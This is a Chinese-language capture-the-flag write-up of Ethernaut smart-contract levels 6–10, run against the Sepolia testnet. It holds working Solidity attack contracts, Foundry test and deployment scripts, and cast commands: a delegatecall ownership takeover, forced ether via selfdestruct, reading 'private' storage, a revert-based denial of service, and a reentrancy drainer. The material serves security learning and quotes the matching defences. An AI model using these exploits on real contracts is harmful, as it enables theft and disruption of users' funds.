Ethernaut LV6-LV10 解题记录
Lv 6 Delegation
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity's documentation on the
delegatecalllow level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.- Fallback methods
- Method ids
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}这题主要是了解 Solidity 中 delegatecall 的内容
Contract ABI Specification,可以通过其中的 example 来了解如何生成 Method ID
翻看 ethernaut 的控制台实现源码可以知道都是使用的web3.js,可以使用 sendTransaction 来传入data,调用不存在的函数,这点在 Level1-Fallout 就使用了,这里可以细化一下。
data 信息是通过 id 生成的函数签名,会通过 fallback 函数使用 Delegate 合约处理后返回,调用的是 pwn 函数来将 owner 修改为 msg.sender。
由于 delegatecall 的特性,msg.sender 在这里不是通过 fallback 使用 Delegate.pwn 的 Delegation,而是与 Delegation 交互、发送原始交易的 player
ethers.utils.id 本质上就是字符串转 id 的哈希函数 source
web3.eth document sendTransaction
// payload
const functionSignature = "pwn()";
const hashSignature = _ethers.utils.id(functionSignature)
await contract.sendTransaction({from: player, data: "0xdd365b8b"}); // hashSignature 的前八个字节
await contract.owner(); // should be playerUsage of
delegatecallis particularly risky and has been used as an attack vector on multiple historic hacks. With it, your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state". Delegates have complete access to your contract's state. Thedelegatecallfunction is a powerful feature, but a dangerous one, and must be used with extreme care.Please refer to the The Parity Wallet Hack Explained article for an accurate explanation of how this idea was used to steal 30M USD.
Lv 7 Force
Some contracts will simply not take your money
¯\_(ツ)_/¯The goal of this level is to make the balance of the contract greater than zero.
Things that might help:
- Fallback methods
- Sometimes the best way to attack a contract is with another contract.
- See the "?" page above, section "Beyond the console"
这题的合约没什么内容,只有一只猫猫
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }但是通过目标和 help 我们可以知道需要增加 contract 的 balance 但不能直接添加,应该要部署攻击合约。
题目 Force 其实也是重要的提示,我们需要向 contract 强行发送 ETH。
这里考察的其实就是 Self Destruct 和执行 selfdestruct 后余额的传送。我们可以构建攻击合约,fund,然后调用 selfdestruct 销毁,将余额强行发送给目标 contract。
ForceAttacker.sol
// SPDX-License-Identifier: NOLICENCE
pragma solidity ^0.8.0;
contract ForceAttacker {
receive() external payable {}
function attack(address payable _target) public {
selfdestruct(_target);
}
}可以使用 forge 的测试和脚本功能来完成挑战
Force.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Test} from "forge-std/Test.sol";
import {Force} from "../src/Force.sol";
import {ForceAttacker} from "../src/ForceAttacker.sol";
contract ForceAttackerTest is Test {
Force target;
ForceAttacker attacker;
function setUp() public {
target = new Force();
attacker = new ForceAttacker();
vm.deal(address(attacker), 1 wei);
}
function testAttack() public {
assertEq(address(target).balance, 0);
attacker.attack(payable(address(target)));
assertEq(address(target).balance, 1 wei);
}
}forge test ./07_Force/test/Force.t.sol编写 Script 正式验证并进行链上操作
Forge.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {ForceAttacker} from "../src/ForceAttacker.sol";
contract ForceAttackerScript is Script {
function run() external {
address targetAddress = 0x23fb3DbD0F473Aa3678F9f95fD09112F0ef2fc2D;
vm.createSelectFork("sepolia");
vm.startBroadcast(vm.envUint("SEPOLIA_PRIVATE_KEY"));
ForceAttacker attacker = new ForceAttacker();
payable(address(attacker)).transfer(1 wei);
console.log("Attacker contract deployed and fund, ", address(attacker));
attacker.attack(payable(targetAddress));
console.log("Attack!");
vm.stopBroadcast();
console.log(
"Now, the target contract balance = ",
targetAddress.balance
);
}
}forge script ./07_Force/script/Force.s.sol:ForceAttackerScript --fork-url $SEPOLIA_RPC_URL --broadcastIn solidity, for a contract to be able to receive ether, the fallback function must be marked
payable.However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant
address(this).balance == 0for any contract logic.
Lv8 Vault
简单的要求,unlock the vault
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}看上去没什么办法,我们得知道这个 bytes32 password。但是这是在链上,所有东西都是可见的。
利用cast来获取 password 值,然后解锁
cast storage --rpc-url $SEPOLIA_RPC_URL --etherscan-api-key $ETHERSCAN_API_KEY 0xd2Bed01D7579e3782fa5ac70cAe58799e91b1d39 1await contract.unlock(<password>)It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.
To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. zk-SNARKs provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.
Lv 9 King
要求是成为 King,同时结束这场 闹剧 游戏,让owner在提交时无论如何无法重新成为the King
King.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}通过观察我们可以发现关键逻辑在 receive 函数中,查询合约储存就能得知 prize 的具体值。问题主要是如何阻止提交检查时的 reclaim
除了用巨大的 prize 进行阻拦 更好的选择是利用执行中存在的问题。payable(king).transfer(msg.value) 这句代码是将 the new prize 发给 the old King,是整个过程中必须要执行的。但是 transfer 是可以拒绝的,如果 the old King 在 receive 或 fallback 函数中选择回滚,则整个交易都会被回滚,reclaim 也就无法实现了,达成了拒绝服务的效果。
先通过 cast storage 读取 prize 初始值
cast storage --rpc-url $SEPOLIA_RPC_URL --etherscan-api-key $ETHERSCAN_API_KEY 0x63899275c274eEa78821859Da9560b8A4324bcF6 1读出来的是16进制,换成十进制其实就是 0.001 ether
KingAttacker.sol
// SPDX-License-Identifier: NOLICENCE
pragma solidity ^0.8.0;
contract KingAttacker {
uint256 public prize = 0.001 ether; // initial prize is 0.001 ether
constructor() payable {
require(msg.value >= prize, "Need initial funds.");
}
receive() external payable {
revert("Long live the king!");
}
function attack(address payable _target) public {
(bool success, ) = _target.call{value: prize}("");
require(success, "Claim failed.");
}
}King.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Test} from "forge-std/Test.sol";
import {King} from "../src/King.sol";
import {KingAttacker} from "../src/KingAttacker.sol";
contract KingAttackerTest is Test {
King target;
KingAttacker attacker;
address victim = makeAddr("victim");
function setUp() public {
vm.deal(victim, 2 ether);
vm.prank(victim);
target = new King{value: 0.001 ether}();
assertEq(target._king(), victim);
attacker = new KingAttacker();
vm.deal(address(attacker), 1 ether);
}
function testAttack() public {
attacker.attack(payable(address(target)));
assertEq(target._king(), address(attacker));
vm.prank(victim);
vm.expectRevert("Long live the king!");
(bool success, ) = address(target).call{value: 1 ether}("");
require(success, "Claim failed.");
}
}forge test ./09_King/test/King.t.sol -vvv-King.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {KingAttacker} from "../src/KingAttacker.sol";
contract KingAttackerScript is Script {
function run() external {
address targetAddress = 0x63899275c274eEa78821859Da9560b8A4324bcF6;
vm.createSelectFork(vm.envString("SEPOLIA_RPC_URL"));
vm.startBroadcast(vm.envUint("SEPOLIA_PRIVATE_KEY"));
KingAttacker attacker = new KingAttacker{value: 0.001 ether}();
attacker.attack(payable(targetAddress));
console.log("Attack!");
vm.stopBroadcast();
console.log("Attack complete.");
}
}forge script ./09_King/script/King.s.sol:KingAttackerScript -vvv --broadcastMost of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.
In this case, see: King of the Ether and King of the Ether Postmortem.
Lv10 Re-entrancy
目标是 steal all the funds,很直接的危害。通过提示可以知道需要部署攻击合约、注意 Fallback,同时了解 Throw/revert bubbling
早期的 Solidity 版本采用 throw 来处理错误,但是成本高昂,于是引入了 revert、require、assert 用于错误处理,但是加剧了重入攻击的风险。
Reentrance.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}目标合约的漏洞在于 withdraw 函数先进行了 balances 判断和使用 .call 的余额发送、再进行 balances[msg.sender] -= _amount的状态修改,攻击者在接收之前可以不断进行 withdraw 重入操作。编写攻击合约制造重入攻击,重点是在 receive 函数里重新调用 withdraw ,直至目标合约余额耗尽。
ReentrancyAttacker.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
import {Reentrance} from "./Reentrance.sol";
contract ReentrancyAttacker {
Reentrance public target;
uint256 public attackAmount;
function attack(address payable _target) external payable {
target = Reentrance(_target);
attackAmount = msg.value;
target.donate{value: attackAmount}(address(this));
target.withdraw(attackAmount);
}
function cashOut() external {
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
if (address(target).balance > 0) {
target.withdraw(address(target).balance);
}
}
}
forge create --rpc-url $SEPOLIA_RPC_URL --private-key $FKUSEC_PRIVATE_KEY 10_Re_entrance/src/ReentranceAttacker.sol:ReentranceAttacker --broadcast --constructor-args 0x1a971d4e9AB1558c73ad039Ab0BF35C171f46eDf
cast send --rpc-url $SEPOLIA_RPC_URL --private-key $FKUSEC_PRIVATE_KEY 0x2d9b9dD7da92E1EA94758dC1e8B40e8a38C2165A "attack(address)" 0x1a971d4e9AB1558c73ad039Ab0BF35C171f46eDf --value 0.001ether
cast send 0x2d9b9dD7da92E1EA94758dC1e8B40e8a38C2165A "cashOut()" --rpc-url $SEPOLIA_RPC_URL --private-key $FKUSEC_PRIVATE_KEY测试网地址余额喜加0.001,薅 OpenZeppelin 羊毛
In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that
callwill only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.
transferandsendare no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your >contract, possibly messing up your state/logic.
Re-entrancy is a common attack. You should always be prepared for it!
The DAO Hack
The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See 15 lines of code that could have prevented TheDAO Hack.
Kiracoon